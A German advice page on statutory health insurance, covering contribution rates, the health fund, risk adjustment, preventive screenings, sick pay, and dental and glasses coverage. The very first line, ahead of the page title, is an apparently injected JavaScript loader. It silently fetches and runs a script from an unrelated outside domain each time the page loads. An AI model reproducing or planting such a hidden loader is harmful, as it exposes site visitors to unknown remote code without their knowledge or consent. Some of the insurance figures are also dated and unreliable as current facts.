;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Gesetzliche Krankenversicherung | Krankenkassenwechsel Gesetzliche Krankenversicherung | Krankenkassenwechsel

GKV Ratgeber – professionelle Beratung

Gesetzliche Krankenkrassen

Knapp 100 Gesetzliche Krankenkassen buhlen um die Gunst der in Deutschland lebenden Bevölkerung. Schließlich muss hierzulande jeder Bürger eine Krankenversicherung besitzen. Einige Unternehmen der Gesetzlichen Krankenversicherung (GKV) werben dabei mit günstigen Beiträgen, andere wiederum mit besonderen Leistungen oder mit Wechselprämien. Doch sind die Unterschiede zwischen den Krankenkassen wirklich so groß? Fast alle Leistungen der GKV sind gesetzlich (Sozialgesetzbuch, GKV-Leistungskatalog) festgeschrieben. Und auch der Beitragssatz wird vom Gesetzgeber bestimmt. Warum dennoch die Mitglieder der GKV unterschiedlich hohe Beiträge zahlen müssen, möchten wir hier erläutern. Ebenso zeigen wir, auf welche medizinischen Leistungen Sie einen gesetzlichen Anspruch haben.
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Welche Leistungen muss die GKV übernehmen?

Jede Krankenkasse muss alle medizinisch notwendigen Behandlungen übernehmen, soweit diese im Leistungskatalog der GKV und im Sozialgesetzbuch festgeschrieben sind. Aber auch Leistungen zur Früherkennung bzw. Vermeidung einer Erkrankung können Versicherte von ihrer Krankenkasse in Anspruch nehmen.

Details zu den Leistungen der GKV.

Wie wirtschaftet die GKV?

Die GKV arbeitet auf Grundlage des Solidaritäts- und Sachleistungsprinzips. Beitragsrechtlich bedeutet dies, dass der zu zahlende Beitrag unter Berücksichtigung des Einkommens des Versicherten ermittelt wird. Dagegen zahlen Versicherte der PKV ihren Beitrag auf Grundlage ihres Alters und Gesundheitszustandes. Wer wenig verdient, zahlt also in der GKV weniger und wer gut verdient entsprechend mehr.

Beiträge zur gesetzlichen Krankenversicherung

Die entscheidende Größe bei der Beitragsberechnung ist der Beitragssatz. Dieser beträgt seit dem 01.01.2015 14,6 Prozent. Für Arbeitnehmer und Rentner gilt die paritätische Beitragszahlung. Dies bedeutet, dass Arbeitgeber bzw. Rentenversicherungsträger und Arbeitnehmer bzw. Rentner jeweils die Hälfte (7,3 %) bezahlen. Selbstständige müssen dagegen den Beitrag vollständig allein aufbringen.

Seit dem 1.1.2009 verbleiben die gezahlten Beiträge allerdings nicht mehr bei den einzelnen Krankenkassen. Sie fungieren nur noch als Einzugsstelle für den Gesundheitsfonds. An diesen müssen die eingenommenen Beiträge zu 100 Prozent abgeführt werden. Von dort erhalten dann die Krankenkassen ihre finanziellen Zuweisungen, mit denen sie die medizinisch erforderlichen Leistungen für die Versicherten bezahlen. Gleichzeitig erhalten sie Gelder zur Deckung ihrer Verwaltungskosten.

 Risikostrukturausgleich

Je nach Alter, Geschlecht, Berufsgruppe und vorliegenden Erkrankungen werden durchschnittliche Kosten für Versichertengruppen berechnet. Durch diese Berechnung, auch Risikostrukturausgleich genannt, soll erreicht werden, dass alle Krankenkassen gemäß ihrer Versichertengruppen Gelder erhalten. Die Erfahrungen der letzten Jahre zeigen aber, dass die tatsächlichen Kosten der einzelnen Krankenkassen nicht den aus dem Gesundheitsfonds erhaltenen Geldern entsprechen.

Bei einzelnen Krankenkassen sind die tatsächlichen Leistungsausgaben niedriger, bei anderen reicht das erhaltene Geld zur Deckung der Leistungsausgaben nicht aus. Gleiches gilt für die Zuweisungen zur Deckung der Verwaltungskosten. Um die eintretenden Defizite schließen zu können, hat der Gesetzgeber die Möglichkeit der Erhebung kassenindividueller Zusatzbeiträge geschaffen. Diese sind grundsätzlich vom Versicherten zu tragen. Aktuell erheben die meisten Krankenkassen einen Zusatzbeitrag von 0,3 % bis 0,9 %. Bei der Wahl seiner Krankenkasse sollte daher immer auch der Blick auf diese Beitragskomponente fallen.

So wie im Beitragsrecht das Solidaritätsprinzip gilt, so findet im Leistungsbereich das Sachleistungsprinzip grundsätzlich Anwendung. Durch Vorlage seiner Krankenversicherungskarte erhält jeder Versicherte die medizinisch erforderlichen Leistungen. Die Bezahlung der Ärzte, Krankenhäuser und sonstigen Leistungserbringer erfolgt direkt durch die Krankenkassen. Somit muss kein Versicherter finanziell in Vorleistung gehen.

Vorsorge geht vor Heilung

Je zeitiger schwerwiegende Krankheiten erkannt werden, um so höher sind die Heilungschancen. Deshalb werden Vorsorgeleistungen durch die GKV übernommen. Insbesondere in die Krebsfrüherkennung wird viel Geld investiert.

Frauen haben ab dem 20. und Männer ab dem 45. Lebensjahr Anspruch auf eine jährliche Krebsvorsorgeuntersuchung. Hinzu kommen das Mammographie-Screening für Frauen ab 50, die Darmkrebs-Früherkennung ab dem 50. Lebensjahr und die Hautkrebs-Vorsorge ab dem 35. Lebensjahr. Diese speziellen Vorsorgemaßnahmen können aller zwei Jahre genutzt werden.

Zum Leistungskatalog der GKV gehört aber auch eine allgemeine Gesundheitsuntersuchung ab dem 35. Lebensjahr (alle zwei Jahre) und die Kindervorsorge-Untersuchungen einschließlich des Neugeborenen-Hörscreenings.

Was kann ich noch von meiner Krankenkasse erwarten?

Für Berufstätige, die länger als 6 Wochen krankgeschrieben sind, übernimmt die Krankenkasse in Form von Krankengeld den Verdienstausfall. Dieses beträgt 90 % des letzten Bruttogehaltes, darf aber 70 % des letzten Nettogehaltes nicht übersteigen. Werdende Mütter erhalten von Ihrer Krankenkasse Mutterschaftsgeld. Ebenso werden die Kosten für die Hebamme und wenn erforderlich für eine Haushaltshilfe übernommen.

Teuer kann es für gesetzlich Versicherte beim Zahnarzt werden. Müssen Zähne ersetzt werden, übernimmt die Krankenkasse in Form von Festzuschüssen nur ca. 50 % der Gesamtkosten. Waren Sie regelmäßig zur Zahnvorsorge, erhalten Sie eine um bis zu 30 % höhere Erstattung. Trotzdem verbleibt eine erhebliche Eigenbelastung. Implantate oder aufwendige Wurzelbehandlungen zur Erhaltung eines Zahnes werden von der GKV nicht übernommen. Hier lohnt immer eine private Zahnzusatzversicherung.

Gleiches gilt für den Fall, dass eine Brille erforderlich wird. Die Kostenübernahme von Brillen ist seit einigen Jahren kein Bestandteil mehr des GKV-Leistungskataloges.

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